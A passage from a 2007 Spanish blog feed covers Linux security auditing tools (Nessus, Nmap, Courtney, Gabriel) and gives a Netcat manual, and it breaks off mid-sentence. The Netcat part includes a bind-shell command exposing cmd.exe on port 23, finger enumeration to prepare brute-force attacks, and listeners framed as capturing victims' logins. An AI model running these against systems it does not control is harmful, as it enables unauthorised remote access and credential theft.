regla: "n:*; y:*.foo.org; N:ppp*.foo.org" probaría sólo&lt;br /&gt;     sobre las máquinas en el dominio foo.org (y:*.foo.org), excepto todas&lt;br /&gt;     las máquinas en este dominio cuyo nombre empezara por ppp&lt;br /&gt;     (N:ppp*.foo.org), otras máquinas que se puedan encontrar no serán&lt;br /&gt;     probadas (n:*).&lt;br /&gt;&lt;br /&gt;     Los usuarios puede definir sus propias reglas, aunque existen unas&lt;br /&gt;     reglas predefinidas por defecto.  Las reglas se almacenan en el&lt;br /&gt;     fichero `/usr/local/share' (aunque si se instala un paquete de una&lt;br /&gt;     distribución en lugar de las fuentes originales, seguramente lo&lt;br /&gt;     instale en `/usr/share').&lt;br /&gt;&lt;br /&gt;2.4.1. Instalar NESSUS&lt;br /&gt;----------------------&lt;br /&gt;&lt;br /&gt;     Si la distribución que usa el lector provee el paquete NESSUS, la&lt;br /&gt;     instalación de éste se limitará a instalar dicho paquete y&lt;br /&gt;     configurarlo apropiadamente.  Este es el caso de Debian.  Sin embargo,&lt;br /&gt;     si éste no es su caso, será necesario obtener las fuentes originales&lt;br /&gt;     (ver listado Section A.3, `Programas relacionados con la seguridad y&lt;br /&gt;     dónde encontrarlos.').&lt;br /&gt;&lt;br /&gt;     Una vez obtenidas, se deben seguir los siguientes pasos para instalar&lt;br /&gt;     el programa:&lt;br /&gt;&lt;br /&gt;        * ejecutar `autoconf' seguido de `configure', que hará uso de&lt;br /&gt;          herramientas GNU para configurar el programa a nuestro sistema.&lt;br /&gt;          En la documentación indica que debe ser el superusuario el que&lt;br /&gt;          ejecute este programa, ya que para probar el tipo de ordenación&lt;br /&gt;          de los sockets, es necesario privilegios especiales.&lt;br /&gt;&lt;br /&gt;        * ejecutar `make' para que compile los programas.  Este es un&lt;br /&gt;          proceso largo ya que ha de compilar cada uno de los tests de&lt;br /&gt;          seguridad que luego se convertirán en librerías que cargará&lt;br /&gt;          dinámicamente.  Para compilar el programa es necesario tener la&lt;br /&gt;          versión de desarrollo de `gtk', que incluye las cabeceras&lt;br /&gt;          (ficheros .h) para compilar programas que utilizen esta librería.&lt;br /&gt;          En Debian&lt;br /&gt;&lt;br /&gt;        * ejecutar _make install_.  Los programas (`nessus' y `nessusd')&lt;br /&gt;          así como las librerías y las páginas de manual serán instaladas&lt;br /&gt;          en el sistema.&lt;br /&gt;&lt;br /&gt;     Una vez hecho esto la configuración, según indica la página de manual&lt;br /&gt;     nessus(1) , será creada al arrancar el programa `nessusd' en el&lt;br /&gt;     directorio `/usr/local/share/nessus'.  La forma de configurarlo está&lt;br /&gt;     perfectamente documentada en el Manual que acompaña el programa.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2.5. Gate Security&lt;br /&gt;------------------&lt;br /&gt;&lt;br /&gt;     NESSUS no es el único programa de este estilo diseñado para GNU/Linux,&lt;br /&gt;     también existe `Gate Security', de Stan Lanford, con un interfaz del&lt;br /&gt;     tipo curses (en consola).  El autor indica que es muy modular y que&lt;br /&gt;     sería fácil de ampliar con nuevos tests, ya que actualmente cuenta con&lt;br /&gt;     tan sólo tres sobre los servicios de: finger, NFS y WWW.  Está aún en&lt;br /&gt;     fase de desarrollo (la última versión de mayo de 1998 es la 0.1.4),&lt;br /&gt;     así que quizás en su versión final sea un programa a valorar.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2.6. smb-nat&lt;br /&gt;------------&lt;br /&gt;&lt;br /&gt;     Con este programa se pueden realizar varias comprobaciones de&lt;br /&gt;     seguridad sobre servidores remotos que estén compartiendo servicios de&lt;br /&gt;     ficheros a través de NetBIOS.  Está basado en el paquete `samba' y se&lt;br /&gt;     encuentra disponible en la distribución Debian GNU/Linux.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3. Escáneres remotos&lt;br /&gt;--------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3.1. Nmap&lt;br /&gt;---------&lt;br /&gt;&lt;br /&gt;     Nmap es una herramienta para explorar redes y determinar qué&lt;br /&gt;     servidores están activos y qué servicios ofrecen.  La ventaja con&lt;br /&gt;     respecto a otras herramientas es que ofrece múltiples técnicas de&lt;br /&gt;     escáner.  Las versiones más recientes también ofrecen la posibilidad&lt;br /&gt;     de detectar el sistema operativo remoto en función a la implementación&lt;br /&gt;     del protocolo TCP/IP.  El programa dispone incluso, a partir de la&lt;br /&gt;     versión 2.0, de un interfaz gráfico realizado con gtk llamado `nmapfe'&lt;br /&gt;     que permite realizar los escáneres sin necesidad de conocer las&lt;br /&gt;     múltiples opciones de línea de comandos disponibles.  Se trata de una&lt;br /&gt;     herramienta muy útil en conjunción de otras, como `scotty' (ver&lt;br /&gt;     Section 7.1, `Scotty (antes tkined)', para conocer la estructura de la&lt;br /&gt;     red heterogénea que se está intentando auditar.  La posibilidad de&lt;br /&gt;     hacer un escáner, además, de un grupo de servidores, permite extraer&lt;br /&gt;     rápidamente información que pueda servir para hacer un escáner en&lt;br /&gt;     mayor profundidad sobre servidores que posiblementa puedan ser&lt;br /&gt;     comprometidos.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3.2. Detectar escáneres remotos&lt;br /&gt;-------------------------------&lt;br /&gt;&lt;br /&gt;     Dado que las herramientas de seguridad mediante tests remotos (SAINT,&lt;br /&gt;     SATAN...) pueden convertirse en un arma en manos de una persona que&lt;br /&gt;     pretenda utilizarla para fines ilícitos, es necesario disponer de&lt;br /&gt;     programas que sean capaces de avisar al administrador cuando se&lt;br /&gt;     detecte accesso a la máquina realizados por estos programas con la&lt;br /&gt;     intención de obtener información o de probar vulnerabilidades.&lt;br /&gt;&lt;br /&gt;3.2.1. Courtney y Gabriel&lt;br /&gt;-------------------------&lt;br /&gt;&lt;br /&gt;     Este es el caso de `Courtney' y `Gabriel', se verá algo más de éste&lt;br /&gt;     último más adelante.  El primero de ellos es un programa desarrollado&lt;br /&gt;     en la Universidad de California por Marvin J.  Christensen.  Está&lt;br /&gt;     diseñado para detectar este tipo de paquetes.  Aunque se distribuya&lt;br /&gt;     indicando que dectará ataques de SATAN en realidad será capaz de&lt;br /&gt;     detectar un tipo de ataques concreto, denominado _port scanning_,&lt;br /&gt;     consistente en probar todos (o un gran número) de los puertos de una&lt;br /&gt;     máquina (cada puerto está ligado a un servicio, ver inetd.conf(5)).&lt;br /&gt;     Los programas pueden así encontrar servicios vulnerables o no usados&lt;br /&gt;     para hacerse una idea más precisa de los servicios ofrecidos por una&lt;br /&gt;     máquina.&lt;br /&gt;&lt;br /&gt;     Se va a estudiar `Courtney' para observar el funcionamiento de estos&lt;br /&gt;     detectores.  Este programa está escrito en Perl, con lo que es más&lt;br /&gt;     fácil de interpretar.  El flujo de control del programa es como sigue:&lt;br /&gt;     una vez leídas e interpretadas las opciones, ejecuta el programa&lt;br /&gt;     `tcpdump' junto con una reglas de filtro de paquetes.  El programa&lt;br /&gt;     `tcpdump' devolverá todos los paquetes que se lean en una interfaz de&lt;br /&gt;     red dada que cumplan alguna de las reglas, estas reglas especifican&lt;br /&gt;     que, por ejemplo, se deben mostrar los paquetes dirigidos a diversos&lt;br /&gt;     puertos.  `Courtney' leerá de éste todas las conexiones de interés&lt;br /&gt;     cuando se produzca alguna, y se apuntará su origen, posteriormente&lt;br /&gt;     comprobará si ese mismos origen ha hecho acciones similares y, si es&lt;br /&gt;     así, avisa al sistema mediante la llamada a _logger_ y envía un&lt;br /&gt;     mensaje de correo al administrador.&lt;br /&gt;&lt;br /&gt;     Así pues, si un ordenador accediera uno detrás de otro a todos los&lt;br /&gt;     puertos de una máquina que tuviera `Courtney', éste empezaría a "hacer&lt;br /&gt;     saltar las alarmas" del sistema.  Posteriormente el administrador&lt;br /&gt;     podría tomar la decisión de cerrar el acceso a la máquina atacante o&lt;br /&gt;     no, en función de la política de seguridad de éste.&lt;br /&gt;&lt;br /&gt;     Se puede ajustar el "nivel de alarma" del programa, que indica bajo&lt;br /&gt;     qué condiciones se disparará esta.  Hay que fijar adecuadamente este&lt;br /&gt;     nivel ya que si es muy bajo se disparará ante eventos que son&lt;br /&gt;     perfectamente normales (un usuario de una máquina hace una conexión&lt;br /&gt;     vía slogin y posteriormente una conexión de FTP), y si es muy alta no&lt;br /&gt;     se disparará con los denominados "ataques ligeros", que esperan un&lt;br /&gt;     determinado tiempo antes de realizar la siguiente conexión.&lt;br /&gt;&lt;br /&gt;     Otro programa de las mismas características es _Gabriel_, diseñado&lt;br /&gt;     originalmente para Solaris 1 y 2.  Éste hace algo similar pero&lt;br /&gt;     utilizando los filtros de paquetes de estas plataformas (`etherfind' y&lt;br /&gt;     `snoop' respectivamente), pero además incorpora en su configuración&lt;br /&gt;     otras formas de avisar al administrador (ver más abajo)&lt;br /&gt;&lt;br /&gt;3.2.1.1. Adaptar Gabriel a GNU/Linux&lt;br /&gt;------------------------------------&lt;br /&gt;&lt;br /&gt;     _Gabriel_ es un programa de Los Altos Technologies, Inc., como ya se&lt;br /&gt;     ha indicado detecta escáneres en la red como SATAN.  Pero tiene el&lt;br /&gt;     aliciente de que es distribuido, los clientes (implementados en&lt;br /&gt;     _gabriel_client.c_) avisan de un execeso de accesos a la red y el&lt;br /&gt;     servidor (implementado en _gabriel_server.c_) integra la información&lt;br /&gt;     de estos y avisa de diversas formas al administador: mediante correo&lt;br /&gt;     electrónico, vía el demonio _talk_, en la pantalla e incluso a través&lt;br /&gt;     del teléfono o el beeper si existen las pasarlelas adecuadas (y un&lt;br /&gt;     módem).&lt;br /&gt;&lt;br /&gt;     La idea que da lugar a que exista un cliente y un servidor parte del&lt;br /&gt;     hecho de que SATAN es capaz de realizar tests sobre más de un host de&lt;br /&gt;     una misma red, e incluso descubrirlos a medida que realiza los tests.&lt;br /&gt;     Así, puede ser más fácil localizar el segmento de red en que se&lt;br /&gt;     encuentra el ordenador que está ejecutando SATAN si se recibe la&lt;br /&gt;     información de todos los ordenadores en varios segmentos.&lt;br /&gt;&lt;br /&gt;     El cliente esta escrito enteramente en C y muy ligado a su plataforma&lt;br /&gt;     original, ya que utiliza filtros de paquetes ya existentes, para poder&lt;br /&gt;     comprobar todos los paquetes iniciales de conexión (ICMP, UDP y TCP).&lt;br /&gt;     En principio sólo tiene soporte Solaris 1.x o 2.x, y aún no ha sido&lt;br /&gt;     portado a Linux.  Sin embargo este programa sirve como muestra botón&lt;br /&gt;     de la manera en que se portan este tipo de programas al sistema&lt;br /&gt;     GNU/Linux.  Una de las ventajas fundamentales es que la librería de C&lt;br /&gt;     de los sistemas UNIX es bastante compatible entre diversas&lt;br /&gt;     plataformas, con lo que el código original no es necesario casi&lt;br /&gt;     tocarlo si hace uso de ésta.  Otra ventaja es que no hace falta&lt;br /&gt;     modificar casi el servidor, ya que éste es un shell script que hace&lt;br /&gt;     uso de programas comúnes en la comunidad UNIX (como awk)&lt;br /&gt;&lt;br /&gt;     Por tanto las modificaciones para poder portar este programa a Linux&lt;br /&gt;     serían modificar el cliente para soportar la plataforma Linux haciendo&lt;br /&gt;     uso de tcpdump, modificar los scripts de shell caso de que hubiera&lt;br /&gt;     diferencias entre éstas, y modificar el fichero _Makefile_ para poder&lt;br /&gt;     compilar la versión de Linux.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6813684401960882760-2334720938034331211?l=zodiac-mitm.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zodiac-mitm.blogspot.com/feeds/2334720938034331211/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6813684401960882760&amp;postID=2334720938034331211' title='0 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6813684401960882760/posts/default/2334720938034331211'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6813684401960882760/posts/default/2334720938034331211'/><link rel='alternate' type='text/html' href='http://zodiac-mitm.blogspot.com/2007/10/auditoras-de-seguridad-en-gnulinux.html' title='Auditorías de Seguridad en GNU/Linux'/><author><name>Zodiac</name><uri>http://www.blogger.com/profile/03879808782798901865</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://vnuuk.typepad.com/photos/uncategorized/hacking.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6813684401960882760.post-7546244194009638328</id><published>2007-10-23T00:23:00.000-03:00</published><updated>2007-10-23T00:51:39.635-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Manuales'/><title type='text'>Manual Netcat</title><content type='html'>Netcat es un pequeño programa creado para uso de los&lt;br /&gt;administradores de redes (y por supuesto para los Hackers) :), este&lt;br /&gt;proggie fué creado originalmente por Hobbit y porteado a Win95 y NT por&lt;br /&gt;Weld Pond de L0pht , tiene mas de un año desde que fué Liberado y muy&lt;br /&gt;poco se ha escrito sobre este Programita; Principalmente porque la estructura&lt;br /&gt;de sus comandos es poco familiar para el usuario medio. Netcat tiene&lt;br /&gt;infinidad de funciones, aunque se deja que sea el usuario quien las&lt;br /&gt;averigue :P, y en el archivo de ayuda ponen algunos ejemplitos muy&lt;br /&gt;elementales solamente...&lt;br /&gt;&lt;br /&gt;       La especialidad de NetCat es el Protocolo tcp/ip, y le dá a la&lt;br /&gt;máquina de windows, cierto poder sobre este protocolo que solo tenía&lt;br /&gt;UNIX,  trabaja con lineas de comandos desde MS-DOS (o desde el&lt;br /&gt;Shell de Linux), y según parece, puede hacer casi cualquier cosa sobre&lt;br /&gt;TCP/IP. El comando principal es nc con su respectiva variable u opción&lt;br /&gt;al mas puro estilio Unix.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;       Cabe destacar que la información sobre Netcat y sus usos&lt;br /&gt;especificos es bastante limitada; aunque Hobbit en su documento aclara&lt;br /&gt;muchas cosas, cita algunos ejemplos y dice que NetCat puede ser utilizado&lt;br /&gt;para mas de 1001 vainas...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Netcat en WinX&lt;br /&gt;  ==============&lt;br /&gt;&lt;br /&gt;Este es el resultado de el comando de ayuda de netcat en una máquina windows&lt;br /&gt;&lt;br /&gt;c:&gt;nc -h&lt;br /&gt;&lt;br /&gt;connect to somewhere:   nc [-options] hostname port[s] [ports] ...&lt;br /&gt;listen for inbound:     nc -l -p port [options] [hostname] [port]&lt;br /&gt;options:&lt;br /&gt;      -d              detach from console, stealth mode&lt;br /&gt;&lt;br /&gt;      -e prog         inbound program to exec [dangerous!!]&lt;br /&gt;      -g gateway      source-routing hop point[s], up to 8&lt;br /&gt;      -G num          source-routing pointer: 4, 8, 12, ...&lt;br /&gt;      -h              this cruft&lt;br /&gt;      -i secs         delay interval for lines sent, ports scanned&lt;br /&gt;      -l              listen mode, for inbound connects&lt;br /&gt;      -L              listen harder, re-listen on socket close&lt;br /&gt;      -n              numeric-only IP addresses, no DNS&lt;br /&gt;      -o file         hex dump of traffic&lt;br /&gt;      -p port         local port number&lt;br /&gt;      -r              randomize local and remote ports&lt;br /&gt;      -s addr         local source address&lt;br /&gt;      -t              answer TELNET negotiation&lt;br /&gt;      -u              UDP mode&lt;br /&gt;      -v              verbose [use twice to be more verbose]&lt;br /&gt;      -w secs         timeout for connects and final net reads&lt;br /&gt;      -z              zero-I/O mode [used for scanning]&lt;br /&gt;port numbers can be individual or ranges: m-n [inclusive]&lt;br /&gt;&lt;br /&gt;Bien; un analisis rápido de estas variables nos da una idea del&lt;br /&gt;potencial de este pequeño programa y las infinitas posibilidades que nos&lt;br /&gt;ofrece el poder manejar conecciones de una manera tan básica y sencilla:&lt;br /&gt;&lt;br /&gt;&lt;------ Opciones de Netcat ---------&gt;&lt;br /&gt;&lt;br /&gt;-d  (Modo Stealth o encubierto)&lt;br /&gt;  Esta opción desvincula al Programa de la consola, haciendolo&lt;br /&gt;trabajar en el BackGround.&lt;br /&gt;&lt;br /&gt;-e  (Ejecuta un programa cuando se conecta)&lt;br /&gt;  Puede ser utilizado para ejecutar incluso un Shell tanto&lt;br /&gt;en WinX como en *NIX.&lt;br /&gt;&lt;br /&gt;-l  (Escuchando conecciones)&lt;br /&gt;  Deja a un puerto abierto en espera de una conección&lt;br /&gt;&lt;br /&gt;-L  (lo mismo que anteriormente pero sigue escuchando aún cuando la&lt;br /&gt;conección es cerrada)&lt;br /&gt;   Esta opción es incluida en la versión de Weld Pond de L0pth, y&lt;br /&gt;es muy util para seguir escuchando en el puerto, a diferencia de -l&lt;br /&gt;(que la conección cerrada termina con el proceso de nc) esta opción -L&lt;br /&gt;permite seguir escuchando en el mismo puerto (la rutina de nc -l es&lt;br /&gt;reiniciada).&lt;br /&gt;&lt;br /&gt;-n   (Dirección numerica especifica; no hace un DNS Lookup) Netcat tiene la&lt;br /&gt;facultad de resolver nombres de dominio mediante un DNS Lookup, con esta&lt;br /&gt;opción le especificamos que no lo haga, y use solamente direcciones IP.&lt;br /&gt;&lt;br /&gt;-o  (obtiene un archivo log en Hex de la acción) Genera un Log de&lt;br /&gt;las actividades de netcat en código Hexadecimal.&lt;br /&gt;&lt;br /&gt;-p (Puerto para pegarse) Algunas veces debes especificarle con esta&lt;br /&gt;opción el puerto a realizar una acción.&lt;br /&gt;&lt;br /&gt;-s  (pegarse a un IP especifico) Netcat puede utilizar IP de una red&lt;br /&gt;como fuente local.&lt;br /&gt;&lt;br /&gt;-t   (Funciona como un pequeño demonio telnet) Con esta opción le especificas&lt;br /&gt;a netcat que debe realizar negociaciones telnet.&lt;br /&gt;&lt;br /&gt;-u  specify UDP (Utilizar Protocolo UDP) Con esta opción le dices a netcat que&lt;br /&gt;trabaje con protocolo UDP en vez de TCP.&lt;br /&gt;&lt;br /&gt;-v   (modo verbose, mas información, se le puede añadir otra -v para mas&lt;br /&gt;info todavia) Bastante util y necesario, sobre todo para estudiar demonios&lt;br /&gt;en profundidad y observar todos los detalles en un Sniffing.&lt;br /&gt;&lt;br /&gt;-w  (Especifica un tiempo para terminar) Con esta opción le especificas un&lt;br /&gt;tiempo determinado para realizar conecciones .&lt;br /&gt;&lt;br /&gt;-r (Genera un Patron Ramdom de puertos locales o remotos) Muy util para evitar&lt;br /&gt;patrones lógicos de Scanning.&lt;br /&gt;&lt;br /&gt;-g  (especificar Gateways) Una de las opciones más interesantes de netcat,&lt;br /&gt;permite utilizar Routers como "puentes" de conección.&lt;br /&gt;&lt;br /&gt;-G  (Especificar puntos de Routing), Con esta opción podemos crear&lt;br /&gt;una cadenaaleatoria de hosts para crear un ruta perdida para tus paquetes&lt;br /&gt;(Spoofing).&lt;br /&gt;&lt;br /&gt;-i  Especifica un intervalo de segundos entre puertos Scaneados.&lt;br /&gt;&lt;br /&gt;&lt;------------- Fin de las opciones comentadas ------&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Netcat en Linux&lt;br /&gt;  ===============&lt;br /&gt;&lt;br /&gt;  Netcat en una plataforma como Linux se convierte en una utilidad&lt;br /&gt;muy potente, pudiendo ser utilizado en conjunto con lenguajes de programación&lt;br /&gt;como Perl y C , o bien desde la propia Linea de comandos del poderoso Shell&lt;br /&gt;de Linux mediante Shell Scripts.&lt;br /&gt;&lt;br /&gt;  Cabe destacar que distribuciones como RedHat Linux trae junto con&lt;br /&gt;sus paquetes de instalación una versión limitada de netcat; lo mas recomendable&lt;br /&gt;es bajar de la red la versión full de netcat para Linux (Importante: La&lt;br /&gt;versión de netcat para linux viene a prueba de lamers, por lo cual debemos&lt;br /&gt;compilar a netcat con unos flags especiales para poder obtener las opciones&lt;br /&gt;-t y -e (Telnet y Gaping Security Hole) ). Bajas el .tar de netcat y lo&lt;br /&gt;desempaquetas en el directorio de tu preferencia, te ubicas dentro del&lt;br /&gt;directorio de netcat y lo compilas con Make utilizando las siguientes Flags:&lt;br /&gt;&lt;br /&gt;[root@DarkStar] #make linux DFLAGS=" -DTELNET -DGAPING_SECURITY_HOLE"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Copias el binario (nc) al directorio /usr/bin , de esta manera podras usar&lt;br /&gt;netcat directamente llamandolo de cualquier parte del Shell, ademas de que&lt;br /&gt;podrás usar los scripts que hagas (o consigas en la red) sin problemas; netcat&lt;br /&gt;trae unos scripts muy interesantes y bien comentados para que los estudies&lt;br /&gt;y comprendas mejor su implementación en scripts, los scripts están en el&lt;br /&gt;directorio donde desempaquetastes netcat en /scripts , los corres como&lt;br /&gt;siempre: ./probe  (o el script que quieras).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Utilizando Netcat.&lt;br /&gt;  ==================&lt;br /&gt;&lt;br /&gt; Para ilustrar mejor como trabajamos con este programa, lo mejor es&lt;br /&gt;observar ejemplos prácticos y analizar su estructura para poder comprender&lt;br /&gt;mejor como funciona y así poder crear nuestras propias aplicaciones.&lt;br /&gt;&lt;br /&gt;Algunas de las cosas que podemos hacer con NetCat son:&lt;br /&gt;&lt;br /&gt;       Obtener un Shell rapidamente en una máquina remota usando la&lt;br /&gt;opción -l (Listen) conjuntamente con la opción -e (ejecutar) , cuando el&lt;br /&gt;proggie corre con estas variables y la conección es realizada, NetCat&lt;br /&gt;ejecuta el programa elegido y se conecta a stdin y stdout del programa&lt;br /&gt;en la conección a la red.&lt;br /&gt;&lt;br /&gt;nc -l -p 23 xxx.xxx.xxx.xx 23 -t -e cmd.exe&lt;br /&gt;&lt;br /&gt;       Este comando dejará a NetCat escuchando el Puerto 23 (telnet) ,&lt;br /&gt;cuando es conectado a travéz del cliente, ejecutará un Shell (cmd.exe)&lt;br /&gt;la opción -t le dice a NetCat que maneje cualquier negociación que el&lt;br /&gt;cliente pueda esperar....&lt;br /&gt;&lt;br /&gt;       Si esta conección es realizada desde una máquina NT, el shell&lt;br /&gt;correrá los permisos del proceso que han generado a NetCat (Hmmm...) así&lt;br /&gt;que hay que ser muy cuidadosos :)&lt;br /&gt;&lt;br /&gt;       La belleza de NetCat es que puede hacer lo mismo en CUALQUIER&lt;br /&gt;puerto :) Puedes dejar a NetCat escuchando en los puertos NETBIOS, que&lt;br /&gt;están probablemente corriendo en la mayoría de las máquinas NT, de esta&lt;br /&gt;manera puedes lograr una conección a una máquina que esté utilizando&lt;br /&gt;"Filtrado de Puertos" activado en TCP/IP security Network Control Panel,&lt;br /&gt;NT no parece tener ninguna seguridad alrededor de cuales puertos  los&lt;br /&gt;programas de usuarios son permitidos amarrar, esto quiere decir en pocas&lt;br /&gt;palabras, ejecutar comandos y programas que puedan unirse a los Puertos&lt;br /&gt;NETBIOS.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;       Como anteriormente se mencionó, puedes utilizar a Netcat para&lt;br /&gt;estudiar diferentes puertos, con la siguiente sintaxis:&lt;br /&gt;&lt;br /&gt;c:\&gt;nc -v   (puedes añadir otra -v)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;       Uno de los puertos mas interesantes a la Hora de Analizar un&lt;br /&gt;Host, es el puerto 79 (Finger) , puedes obtener nombres de usuarios e&lt;br /&gt;información muy util a la hora de planear un "Brute-Force Attack", este&lt;br /&gt;comandito de Netcat te muestra la Flexibilidad del Proggie en cuestion,&lt;br /&gt;dandote una idea de sus posibilidades:&lt;br /&gt;&lt;br /&gt;c:\&gt;nc -v  79 &lt;&gt; log.txt&lt;br /&gt;&lt;br /&gt;       El comando anterior le dice a netcat que se conecte en modo&lt;br /&gt;verbose al Host predeterminado en el puerto 79 (Finger) y envie el&lt;br /&gt;contenido del archivo user.txt (OJO: no he probado esto con una posible&lt;br /&gt;lista de nombre de usuarios al azahar), la respuesta del servicio será&lt;br /&gt;guardada en el archivo log.txt&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Scanner:&lt;br /&gt;  ========&lt;br /&gt;&lt;br /&gt;       Netcat puede ser utilizado como scanner, sus multiples opciones&lt;br /&gt;le permiten realizar un gran número de combinaciones, pudiendo realizar&lt;br /&gt;Scannings en Puertos Random, en puertos conocidos, en modo ascendente o&lt;br /&gt;descendente, con intervalos de tiempo, utilizando gateways para evitar&lt;br /&gt;mostrar la IP fuente del Scanning, etc.&lt;br /&gt;&lt;br /&gt;C:\nc11nt&gt;nc -v -v -z 127.0.0.1 53 25 21&lt;br /&gt;&lt;br /&gt;DNS fwd/rev mismatch: localhost != darkstar&lt;br /&gt;localhost [127.0.0.1] 53 (domain): connection refused&lt;br /&gt;localhost [127.0.0.1] 25 (smtp): connection refused&lt;br /&gt;localhost [127.0.0.1] 21 (ftp): connection refused&lt;br /&gt;sent 0, rcvd 0: NOTSOCK&lt;br /&gt;&lt;br /&gt;       Pues si; aqui tienen un pequeño y primitivo scanner, se le&lt;br /&gt;pueden añadir puertos escogidos como en el ejemplo anterior o asignarle&lt;br /&gt;un rango de puertos:&lt;br /&gt;&lt;br /&gt;C:\nc11nt&gt;nc -v -v -z 127.0.0.1 1-53&lt;br /&gt;&lt;br /&gt;DNS fwd/rev mismatch: localhost != darkstar&lt;br /&gt;localhost [127.0.0.1] 53 (domain): connection refused&lt;br /&gt;localhost [127.0.0.1] 52 (?): connection refused&lt;br /&gt;localhost [127.0.0.1] 51 (?): connection refused&lt;br /&gt;localhost [127.0.0.1] 50 (?): connection refused&lt;br /&gt;localhost [127.0.0.1] 49 (?): connection refused&lt;br /&gt;localhost [127.0.0.1] 48 (?): connection refused  etc...&lt;br /&gt;&lt;br /&gt;       Volvemos con la opción -v (verbose) y la Opción -z (zero i/o)&lt;br /&gt;que es usada para scanning, los puertos se lo especificamos al final del&lt;br /&gt;IP del host, bien sea individuales separados por un espacio; o por un&lt;br /&gt;rango de puertos.&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;  Sniffer:&lt;br /&gt;  ========&lt;br /&gt;&lt;br /&gt;  Otra de las interesante posibilidades de netcat es su capacidad para&lt;br /&gt;escuchar conecciones en cualquier puerto, pudiendo redireccionar todo el&lt;br /&gt;tráfico del mismo hacia un archivo o hacia pantalla, en este sencillo&lt;br /&gt;ejemplo, podemos observar las bases de un sencillo sniffer en Windows:&lt;br /&gt;&lt;br /&gt;C:\nc11nt&gt;nc -v -v -L 127.0.0.1 -p 23&lt;br /&gt;&lt;br /&gt;DNS fwd/rev mismatch: localhost != darkstar&lt;br /&gt;listening on [any] 23 ...&lt;br /&gt;DNS fwd/rev mismatch: localhost != darkstar&lt;br /&gt;connect to [127.0.0.1] from localhost [127.0.0.1] 1131&lt;br /&gt;login: sniffado&lt;br /&gt;password: jeje!!&lt;br /&gt;puedo ver todo lo que escriben aqui... Muuuaaahahahahahah!!! B-]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Tambien podemos redireccionar toda la salida a un archivo e&lt;br /&gt;irnos a realizar otras actividades ,ientras netcat hace su trabajo:&lt;br /&gt;&lt;br /&gt;C:\nc11nt&gt;nc -v -v -L -p 23 127.0.0.1 -t &gt;login.txt&lt;br /&gt;DNS fwd/rev mismatch: localhost != darkstar&lt;br /&gt;listening on [any] 23 ...&lt;br /&gt;&lt;br /&gt;[Aqui viene la conneción...]&lt;br /&gt;&lt;br /&gt;DNS fwd/rev mismatch: localhost != darkstar&lt;br /&gt;connect to [127.0.0.1] from localhost [127.0.0.1] 1030&lt;br /&gt;&lt;br /&gt;[Todo lo que escriba la connección se va al archivo login.txt]&lt;br /&gt;sent 0, rcvd 42&lt;br /&gt;&lt;br /&gt;[La opción -L permite que netcat escuche nuevamente al terminar la conección,&lt;br /&gt;"New Victims Wanted" Hehe!]&lt;br /&gt;&lt;br /&gt;DNS fwd/rev mismatch: localhost != darkstar&lt;br /&gt;listening on [127.0.0.1] 23 ...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;       El Exploit-Explained: nc -v -v -L 127.0.0.1 -p 23&lt;br /&gt;   ---------------------&lt;br /&gt;&lt;br /&gt;       Ejecutamos a Netcat con la opción o variable -v (verbose)&lt;br /&gt;(doblemente "verbose" por si acaso) ;) esto hará que el resultado de&lt;br /&gt;netcat, sea mostrado directamente en pantalla (a diferencia del archivo&lt;br /&gt;usado por Dr._X) , la opción o variable -L (Listen, and listen again)&lt;br /&gt;nos permitirá dejar escuchando u "oliendo" en determinado puerto aun&lt;br /&gt;cuando la conección sea interrumpida (listen again), con la variable -p&lt;br /&gt;le indicamos el puerto...&lt;br /&gt;&lt;br /&gt;       Al ejecutar a netcat con esa combinación de variables las&lt;br /&gt;opción -v me indica en pantalla el Host y el puerto de escucha:&lt;br /&gt;&lt;br /&gt;DNS fwd/rev mismatch: localhost != darkstar&lt;br /&gt;listening on [any] 23 ...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;       Realizo desde otra ventana un telnet a localhost (127.0.0.1) en&lt;br /&gt;el puerto 23, netcat me informa sobre lo que ocurre en el puerto 23:&lt;br /&gt;&lt;br /&gt;DNS fwd/rev mismatch: localhost != darkstar&lt;br /&gt;connect to [127.0.0.1] from localhost [127.0.0.1] 1131&lt;br /&gt;login: sniffado&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;       Voilá! un Sniffer en LocalHost!  Jajaja!!!&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;  Detector de Conneciones Sospechosas:&lt;br /&gt;  ====================================&lt;br /&gt;&lt;br /&gt;  La posibilidad de dejar a netcat escuchando en determinados puertos,&lt;br /&gt;nos permite crear una especie de "trampa" para un supuesto agresor que utilize&lt;br /&gt;scanners, o herramientas tales como NetBus o BackOrifice en contra de&lt;br /&gt;nuestras estaciones. Incluso, podemos crear un archivo que haga un Flood&lt;br /&gt;y redireccionar su salida hacia la estación agresora en caso de una conección&lt;br /&gt;no autorizada a determinado puerto. (jeje! y se me ocurren un 